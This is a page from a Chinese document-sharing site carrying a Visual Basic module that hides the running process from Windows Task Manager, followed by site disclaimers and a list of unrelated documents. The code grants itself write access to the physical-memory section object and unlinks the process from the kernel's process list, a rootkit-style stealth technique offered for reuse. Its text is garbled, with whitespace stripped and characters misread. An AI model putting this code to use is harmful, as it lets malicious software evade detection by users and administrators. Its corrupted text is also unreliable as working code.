版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、vb中如何在任务管理器里面隐藏应用程序进程该模块用于在任务管理器中隐藏进程PrivateConstSTATUS_INFO_LENGTH_MISMATCH=&HC0000004PrivateConstSTATUS_ACCESS_DENIED=&HC0000022PrivateConstSTATUS_INVALID_HANDLE=&HC0000008PrivateConstERROR_SUCCESS=0&PrivateConstSECTION_MAP_WRITE=&H2PrivateConstSECTION_MAP_READ=&H4PrivateConstREAD_CONTROL=&H20000P
2、rivateConstWRITE_DAC=&H40000PrivateConstNO_INHERITANCE=0PrivateConstDACL_SECURITY_INFORMATION=&H4PrivateTypeIO_STATUS_BLOCKStatusAsLongInformationAsLongEndTypePrivateTypeUNICODE_STRINGLengthAsIntegerMaximumLengthAsIntegerBufferAsLongEndTypePrivateConstOBJ_INHERIT=&H2PrivateConstOBJ_PERMANENT=&H10Pri
3、vateConstOBJ_EXCLUSIVE=&H20PrivateConstOBJ_CASE_INSENSITIVE=&H40PrivateConstOBJ_OPENIF=&H80PrivateConstOBJ_OPENLINK=&H100PrivateConstOBJ_KERNEL_HANDLE=&H200PrivateConstOBJ_VALID_ATTRIBUTES=&H3F2PrivateTypeOBJECT_ATTRIBUTESLengthAsLongRootDirectoryAsLongObjectNameAsLongAttributesAsLongSecurityDeorAsL
4、ongSecurityQualityOfServiceAsLongEndTypePrivateTypeACLAclRevisionAsByteSbz1AsByteAclSizeAsIntegerAceCountAsIntegerSbz2AsIntegerEndTypePrivateEnumACCESS_MODENOT_USED_ACCESSGRANT_ACCESSSET_ACCESSDENY_ACCESSREVOKE_ACCESSSET_AUDIT_SUCCESSSET_AUDIT_FAILUREEndEnumPrivateEnumMULTIPLE_TRUSTEE_OPERATIONNO_MU
5、LTIPLE_TRUSTEETRUSTEE_IS_IMPERSONATEEndEnumPrivateEnumTRUSTEE_FORMTRUSTEE_IS_SIDTRUSTEE_IS_NAMEEndEnumPrivateEnumTRUSTEE_TYPETRUSTEE_IS_UNKNOWNTRUSTEE_IS_USERTRUSTEE_IS_GROUPEndEnumPrivateTypeTRUSTEEpMultipleTrusteeAsLongMultipleTrusteeOperationAsMULTIPLE_TRUSTEE_OPERATIONTrusteeFormAsTRUSTEE_FORMTr
6、usteeTypeAsTRUSTEE_TYPEptstrNameAsStringEndTypePrivateTypeEXPLICIT_ACCESSgrfAccessPermissionsAsLonggrfAccessModeAsACCESS_MODEgrfInheritanceAsLongTRUSTEEAsTRUSTEEEndTypePrivateTypeAceArrayList()AsEXPLICIT_ACCESSEndTypePrivateEnumSE_OBJECT_TYPESE_UNKNOWN_OBJECT_TYPE=0SE_FILE_OBJECTSE_SERVICESE_PRINTER
7、SE_REGISTRY_KEYSE_LMSHARESE_KERNEL_OBJECTSE_WINDOW_OBJECTSE_DS_OBJECTSE_DS_OBJECT_ALLSE_PROVIDER_DEFINED_OBJECTSE_WMIGUID_OBJECTEndEnumPrivateDeclareFunctionSetSecurityInfoLibadvapi32.dll(ByValHandleAsLong,ByValObjectTypeAsSE_OBJECT_TYPE,ByValSecurityInfoAsLong,ppsidOwnerAsLong,ppsidGroupAsLong,ppDa
8、clAsAny,ppSaclAsAny)AsLongPrivateDeclareFunctionGetSecurityInfoLibadvapi32.dll(ByValHandleAsLong,ByValObjectTypeAsSE_OBJECT_TYPE,ByValSecurityInfoAsLong,ppsidOwnerAsLong,ppsidGroupAsLong,ppDaclAsAny,ppSaclAsAny,ppSecurityDeorAsLong)AsLongPrivateDeclareFunctionSetEntriesInAclLibadvapi32.dllAliasSetEn
9、triesInAclA(ByValcCountOfExplicitEntriesAsLong,pListOfExplicitEntriesAsEXPLICIT_ACCESS,ByValOldAclAsLong,NewAclAsLong)AsLongPrivateDeclareSubBuildExplicitAccessWithNameLibadvapi32.dllAliasBuildExplicitAccessWithNameA(pExplicitAccessAsEXPLICIT_ACCESS,ByValpTrusteeNameAsString,ByValAccessPermissionsAs
10、Long,ByValAccessModeAsACCESS_MODE,ByValInheritanceAsLong)PrivateDeclareSubRtlInitUnicodeStringLibNTDLL.DLL(DestinationStringAsUNICODE_STRING,ByValSourceStringAsLong)PrivateDeclareFunctionZwOpenSectionLibNTDLL.DLL(SectionHandleAsLong,ByValDesiredAccessAsLong,ObjectAttributesAsAny)AsLongPrivateDeclare
11、FunctionLocalFreeLibkernel32(ByValhMemAsAny)AsLongPrivateDeclareFunctionCloseHandleLibkernel32(ByValhObjectAsLong)AsLongPrivateDeclareFunctionMapViewOfFileLibkernel32(ByValhFileMappingObjectAsLong,ByValdwDesiredAccessAsLong,ByValdwFileOffsetHighAsLong,ByValdwFileOffsetLowAsLong,ByValdwNumberOfBytesT
12、oMapAsLong)AsLongPrivateDeclareFunctionUnmapViewOfFileLibkernel32(lpBaseAddressAsAny)AsLongPrivateDeclareSubCopyMemoryLibkernel32AliasRtlMoveMemory(DestinationAsAny,SourceAsAny,ByValLengthAsLong)PrivateDeclareFunctionGetVersionExLibkernel32AliasGetVersionExA(lpVersionInformationAsOSVERSIONINFO)AsLon
13、gPrivateTypeOSVERSIONINFOdwOSVersionInfoSizeAsLongdwMajorVersionAsLongdwMinorVersionAsLongdwBuildNumberAsLongdwPlatformIdAsLongszCSDVersionAsString*128EndTypePrivateverinfoAsOSVERSIONINFOPrivateg_hNtDLLAsLongPrivateg_pMapPhysicalMemoryAsLongPrivateg_hMPMAsLongPrivateaByte(3)AsBytePublicSubHideCurren
14、tProcess()在进程列表中隐藏当前应用程序进程转载请注名来自爱软件()阿江编注。DimthreadAsLong,processAsLong,fwAsLong,bwAsLongDimlOffsetFlinkAsLong,lOffsetBlinkAsLong,lOffsetPIDAsLongverinfo.dwOSVersionInfoSize=Len(verinfo)If(GetVersionEx(verinfo)0ThenIfverinfo.dwPlatformId=2ThenIfverinfo.dwMajorVersion=5ThenSelectCaseverinfo.dwMinorV
15、ersionCase0lOffsetFlink=&HA0lOffsetBlink=&HA4lOffsetPID=&H9CCase1lOffsetFlink=&H88lOffsetBlink=&H8ClOffsetPID=&H84EndSelectEndIfEndIfEndIfIfOpenPhysicalMemory0Thenthread=GetData(&HFFDFF124)process=GetData(thread+&H44)fw=GetData(process+lOffsetFlink)bw=GetData(process+lOffsetBlink)SetDatafw+4,bwSetDa
16、tabw,fwCloseHandleg_hMPMEndIfEndSubPrivateSubSetPhyscialMemorySectionCanBeWrited(ByValhSectionAsLong)DimpDaclAsLongDimpNewDaclAsLongDimpSDAsLongDimdwResAsLongDimeaAsEXPLICIT_ACCESSGetSecurityInfohSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,pDacl,0,pSDea.grfAccessPermissions=SECTION_MAP_WR
17、ITEea.grfAccessMode=GRANT_ACCESSea.grfInheritance=NO_INHERITANCEea.TRUSTEE.TrusteeForm=TRUSTEE_IS_NAMEea.TRUSTEE.TrusteeType=TRUSTEE_IS_USERea.TRUSTEE.ptstrName=CURRENT_USER&vbNullCharSetEntriesInAcl1,ea,pDacl,pNewDaclSetSecurityInfohSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,ByValpNewDa
18、cl,0CleanUp:LocalFreepSDLocalFreepNewDaclEndSub转载请注名来自爱软件()阿江编注。PrivateFunctionOpenPhysicalMemory()AsLongDimStatusAsLongDimPhysmemStringAsUNICODE_STRINGDimAttributesAsOBJECT_ATTRIBUTESRtlInitUnicodeStringPhysmemString,StrPtr(DevicePhysicalMemory)Attributes.Length=Len(Attributes)Attributes.RootDirect
19、ory=0Attributes.ObjectName=VarPtr(PhysmemString)Attributes.Attributes=0Attributes.SecurityDeor=0Attributes.SecurityQualityOfService=0Status=ZwOpenSection(g_hMPM,SECTION_MAP_READorSECTION_MAP_WRITE,Attributes)IfStatus=STATUS_ACCESS_DENIEDThenStatus=ZwOpenSection(g_hMPM,READ_CONTROLorWRITE_DAC,Attribu
20、tes)SetPhyscialMemorySectionCanBeWritedg_hMPMCloseHandleg_hMPMStatus=ZwOpenSection(g_hMPM,SECTION_MAP_READorSECTION_MAP_WRITE,Attributes)EndIfDimlDirectotyAsLongverinfo.dwOSVersionInfoSize=Len(verinfo)If(GetVersionEx(verinfo)0ThenIfverinfo.dwPlatformId=2ThenIfverinfo.dwMajorVersion=5ThenSelectCaseve
21、rinfo.dwMinorVersionCase0lDirectoty=&H30000Case1lDirectoty=&H39000EndSelectEndIfEndIfEndIfIfStatus=0Theng_pMapPhysicalMemory=MapViewOfFile(g_hMPM,4,0,lDirectoty,&H1000)Ifg_pMapPhysicalMemory0ThenOpenPhysicalMemory=g_hMPMEndIfEndFunctionPrivateFunctionLinearToPhys(BaseAddressAsLong,addrAsLong)AsLongD
22、imVAddrAsLong,PGDEAsLong,PTEAsLong,PAddrAsLongDimlTempAsLongVAddr=addrCopyMemoryaByte(0),VAddr,4ITemp=Fix(ByteArrToLong(aByte)/(2人22)PGDE=BaseAddress+lTemp*4CopyMemoryPGDE,ByVaIPGDE,4If(PGDEAnd1)0ThenlTemp=PGDEAnd&H80IflTemp0ThenPAddr=(PGDEAnd&HFFC00000)+(VAddrAnd&H3FFFFF)ElsePGDE=MapViewOfFile(g_hMPM,4,0,PGDEAnd&HFFFFF000,&H1000)ITemp=(VAddrAnd&H3FF000)/(2人12)PTE=PGDE+lTemp*4CopyMemoryPTE,ByVaIPTE,4If(PTEAnd1)0ThenPAddr=(PTEAnd&HFFFFF000)+(VAddrAnd&HFFF)UnmapViewOfFiIePGDEEndIfEndIfEndIfLinearToPhys=PAddrEndF
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024年度体育场馆租赁协议范本
- 2024年有限责任公司小额信贷服务协议样本一
- 2024年度装修用建材采购协议样本一
- 商业门头出售合同模板
- 购股合同模板
- 食品场地合同模板
- 2024专项标准展位施工承揽合同一
- 设计版权版权合同模板
- app招商加盟合同模板
- 越南边贸合同模板
- 5陶行知的学前教育思想课件(42页PPT)
- 小学数学人教版一年级上册数学看图列式计算综合训练(带答案)
- GB∕T 41496-2022 铁合金 交货批水分的测定 重量法
- 肿瘤《外科学总论》最新)
- 磷酸铁锂电池工商业储能项目施工组织设计方案
- 妇科检查(课堂PPT)
- (精心整理)自由落体运动 导学案
- 7压力容器专业英语词汇ASME常用词汇
- CNAS-CC01:2015 管理体系认证机构要求
- 矿山规模划分标准
- 第一套极限配合 判断题
评论
0/150
提交评论